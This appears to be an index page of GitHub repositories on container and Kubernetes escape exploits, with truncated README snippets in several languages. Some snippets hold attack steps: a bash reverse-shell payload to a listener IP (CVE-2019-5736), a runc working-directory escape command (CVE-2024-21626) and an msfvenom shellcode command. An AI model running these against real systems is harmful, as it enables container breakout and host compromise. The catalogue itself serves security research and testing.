CVE-2024-21626

CVE-2024-21626 POC Prérequis runc 1.1.0 /proc/self/cwd/../../../bin/ba...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните: go build main.go...

docker_escape_pwn

Побег из Docker с использованием CVE-2017-1000112 и CVE-2017-18344. Включая: получение root привилегий получение всех возможностей восстановление пространств имен восстановление файловой системы обход ограничений cgroup обход seccomp...

CVE-2024-21626

CVE-2024-21626 Подробное объяснение этой уязвимости см. в моей статье. Эксплойт Эксплойт через запуск контейнера Не нужно собирать собственный образ, просто запустите контейнер с параметром -w: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm Эксплойт через exec в...

ipv6_frag_escape

IPV6FRAGESCAPE Une preuve de concept fiable d'évasion de conteneur / jail non privilégié pour CentOS / RHEL 10. Il exploite un bug de fragmentation IPv6 désormais corrigé dans ip6appenddata corrigé en amont par 38becddc, pas de CVE, un débordement linéaire dans la slab vers le skbsharedinfo à la...

POC-CVE-2019-5736

RunC-CVE-2019-5736 Vidéo : https://bit.ly/2WqvILb Article de blog : www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html Ici, je tiens à mentionner que le développeur original de cet exploit est Yuval Avrahami chez Twistlock Labs. Exécution des POCs Notez que l'exécution des POC...

subpath-exploit

Пример ухода из Kubernetes через CVE-2017-1002101 Описание Узнав о проблеме и следуя этому руководству, я захотел изучить её подробнее. Этот репозиторий содержит несколько развёртываний подов и вспомогательные shell-скрипты, которые демонстрируют механизм атаки самым простым способом, чтобы...

Copy-Fail-CVE-2026-31431-Kubernetes-PoC

Copy Fail CVE-2026-31431 — PoC побега из контейнера Kubernetes Proof-of-concept, демонстрирующий, как полностью непривилегированный контейнер может добиться выполнения кода на уровне узла в Kubernetes, эксплуатируя ошибку повреждения page-cache ядра Linux CVE-2026-31431 через общие слои образов...

can-ctr-escape-cve-2022-0492

컨테이너 환경이 CVE-2022-0492를 통한 탈출escape에 취약한지 테스트하는 컨테이너 이미지입니다. 다음과 같이 빌드한 이미지를 실행하는 새 컨테이너에서 실행하는 것이 좋습니다. $ cd can-ctr-escape-cve-2022-0492 $ docker build -t can-ctr-escape-cve-2022-0492:latest . 미리 빌드된 이미지는...

CDK

CDK - Kit de pénétration de conteneurs sans dépendance Anglais | 简体中文 Avis de non-responsabilité légal L'utilisation de CDK pour attaquer des cibles sans consentement mutuel préalable est illégale. CDK est destiné uniquement à des fins de tests de sécurité. Aperçu CDK est un toolkit de pénétratio...

cve-2024-21626

CVE-2024-21626 Aperçu Ce dépôt contient des exemples de code pour une application vulnérable à CVE-2024-21626 ainsi qu'un gadget eBPF pour détecter les tentatives d'exploitation. Ce dépôt a été créé dans le cadre de cet article de blog. Le programme gadget utilisé pour détecter cette vulnérabilit...

deepce

deepce . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // Веб-сайт Перечисление Docker, повышение привилегий и побег из контейнеров DEEPCE Чтобы обеспечить совместимость с максимальным числом контейнеров,...

vulnerable-container-hub

Проект OWASP Vulnerable Container Hub Предыстория Существует множество репозиториев, предоставляющих уязвимые среды, такие как веб-приложения, контейнеры или виртуальные машины, тем, кто хочет изучать безопасность, поскольку это помогает не только студентам или новичкам в этой области освоить...

vulhub

Vulhub is an open-source collection of pre-built, ready-to-use vulnerable Docker environments. With just one command you can launch a vulnerable environment for security research, learning, or demonstration, no prior Docker experience required. 中文版本Chinese version Quick Start Install Docker examp...

CVE-2025-9074-Docker-Exploit

CVE-2025-9074 Outil d’exécution de commandes dans des conteneurs Docker Un outil d’exploitation puissant pour l’API distante de Docker, conçu pour la recherche et le test de sécurité sur la vulnérabilité CVE-2025-9074. Avantages principaux ✅ Gestion entièrement automatique du cycle de vie des...

CVE-2022-0492-Docker-Breakout-Checker-and-PoC

CVE-2022-0492 Проверка и PoC для выхода из Docker-контейнера Краткое описание Для эксплуатации уязвимости злоумышленнику требуется доступ к контейнеру Docker, запущенному на уязвимой системе. После успешной эксплуатации атакующий может выйти из контейнера и получить полный контроль над...

CVE-2022-0847-container-escape

CVE-2022-0847 Un exploit simple qui utilise dirtypipe pour injecter du shellcode dans le point d'entrée de runC afin de réaliser des évasions de conteneurs. Utilisation Produisez du shellcode encodé en base64 en utilisant msf: $ msfvenom -p linux/x64/exec CMD="" -f base64 Compilez et exécutez dan...

dirtycow-vdso

0xdeadbeef PoC pour Dirty COW CVE-2016-5195. Ce PoC utilise ptrace au lieu de /proc/self/mem pour patcher la vDSO. Il présente quelques avantages par rapport aux PoC modifiant des binaires du système de fichiers : aucun binaire setuid requis contournement de SELinux évasion de conteneur pas de...

page_inject

pageinject — межконтейнерный эскейп через AFALG aead Межконтейнерный эксплойт уязвимости AFALG aead — переход из одного скомпрометированного контейнера во все соседние контейнеры, использующие тот же слой образаlibc.so.6. Это примитив эскейпа : он запускается изнутри непривилегированного...

CVE-2022-0492-Checker

CVE-2022-0492-Checker Скрипт для проверки, уязвима ли среда контейнера к побегам из контейнера через CVE-2022-0492 Об уязвимости 4 февраля Linux объявил о CVE-2022-0492 , новой уязвимости повышения привилегий в ядре. CVE-2022-0492 отмечает логическую ошибку в группах управления cgroups, функции...